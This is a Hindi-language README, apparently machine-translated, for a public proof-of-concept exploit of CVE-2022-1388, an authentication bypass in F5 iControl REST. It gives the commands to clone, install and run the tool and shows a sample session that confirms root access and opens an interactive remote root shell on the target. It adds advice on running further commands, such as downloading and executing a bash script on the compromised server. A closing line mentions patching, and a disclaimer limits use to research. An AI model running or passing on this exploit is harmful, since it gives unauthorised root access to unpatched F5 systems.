
CVE-2022-1388 के लिए एक बेहतर प्रूफ ऑफ कॉन्सेप्ट, एक इंटरैक्टिव शेल के साथ
CVE-2022-1388 के लिए बेहतर POC जो कई F5 उत्पादों को प्रभावित करता है।
यह Horizon3 के CVE-2022-1388 के लिए Proof of Concept का बेहतर संस्करण है: https://github.com/horizon3ai/CVE-2022-1388
इस संस्करण में कई सुधारों के साथ-साथ दूरस्थ कमांड चलाने के लिए एक इंटरैक्टिव शेल शामिल है।
Horizon3 का भेद्यता का तकनीकी मूल कारण विश्लेषण उनके ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
इस भेद्यता का शोषण करने के लिए एक अनुरोध की आवश्यक शर्तें:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
किसी भी रिवर्स टीसीपी कनेक्शन या लिसनर के उपयोग की आवश्यकता नहीं है।
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
कृपया ध्यान दें कि एक अप्रचलित सिस्टम पर इंटरैक्टिव शेल चलाते समय, कुछ कमांड और सिंटैक्स अपेक्षित परिणाम नहीं दे सकते हैं या काम नहीं कर सकते हैं। यह संभवतः सर्वर API अनुरोधों और प्रतिक्रियाओं में JSON के उपयोग के कारण है। किसी भी समस्या से बचने के लिए, इंटरैक्टिव शेल का उपयोग करते समय JSON सिंटैक्स में सामान्य एकल वर्णों जैसे कोलन, कॉमा, कर्ली ब्रेसेस, ब्रैकेट्स, और विशेष रूप से कोट्स का उपयोग न करने का प्रयास करें। किसी भी कमांड के भीतर किसी भी JSON सिंटैक्स को प्रारूप में संरचित किया जाना चाहिए।
कमांड के भीतर किसी भी प्रकार के असंरचित JSON सिंटैक्स का उपयोग करने से सर्वर को एक अवैध API अनुरोध हो सकता है और इसके परिणामस्वरूप आपको यह मिल सकता है: कोई कमांड आउटपुट नहीं, कुछ भी निष्पादित नहीं होना, या यह आपको पूरी तरह से पायथन स्क्रिप्ट से बाहर फेंक सकता है। यह दुर्भाग्य से कुछ कमांड को अनुपयोगी बना देता है। इस समस्या से बचने के लिए आप इसके बजाय एक बैश स्क्रिप्ट लिख सकते हैं, इसे सर्वर पर डाउनलोड कर सकते हैं, और इंटरैक्टिव शेल का उपयोग करके इसे निष्पादित कर सकते हैं। 'cd' कमांड का उपयोग करके निर्देशिकाओं को बदलना भी संभव नहीं है।
किसी भी स्थिति में आपको अभी भी बुनियादी कमांड आउटपुट प्राप्त करने में सक्षम होना चाहिए। यदि आपको कोई कमांड आउटपुट नहीं मिलता है, तो इसका मतलब यह नहीं है कि कमांड निष्पादित नहीं हुआ था। हालांकि, आपको अपने स्वयं के विश्लेषण का उपयोग करके इसका पता लगाना होगा।
नवीनतम संस्करण में अपडेट करें या F5 सुरक्षा सलाहकार के निर्देशों का पालन करके शमन करें
यह सॉफ्टवेयर पूरी तरह से शैक्षणिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसे स्पष्ट रूप से अधिकृत किए गए स्थानों को छोड़कर सिस्टम पर हमला करने के लिए उपयोग करने का इरादा नहीं है। परियोजना अनुरक्षक सॉफ्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।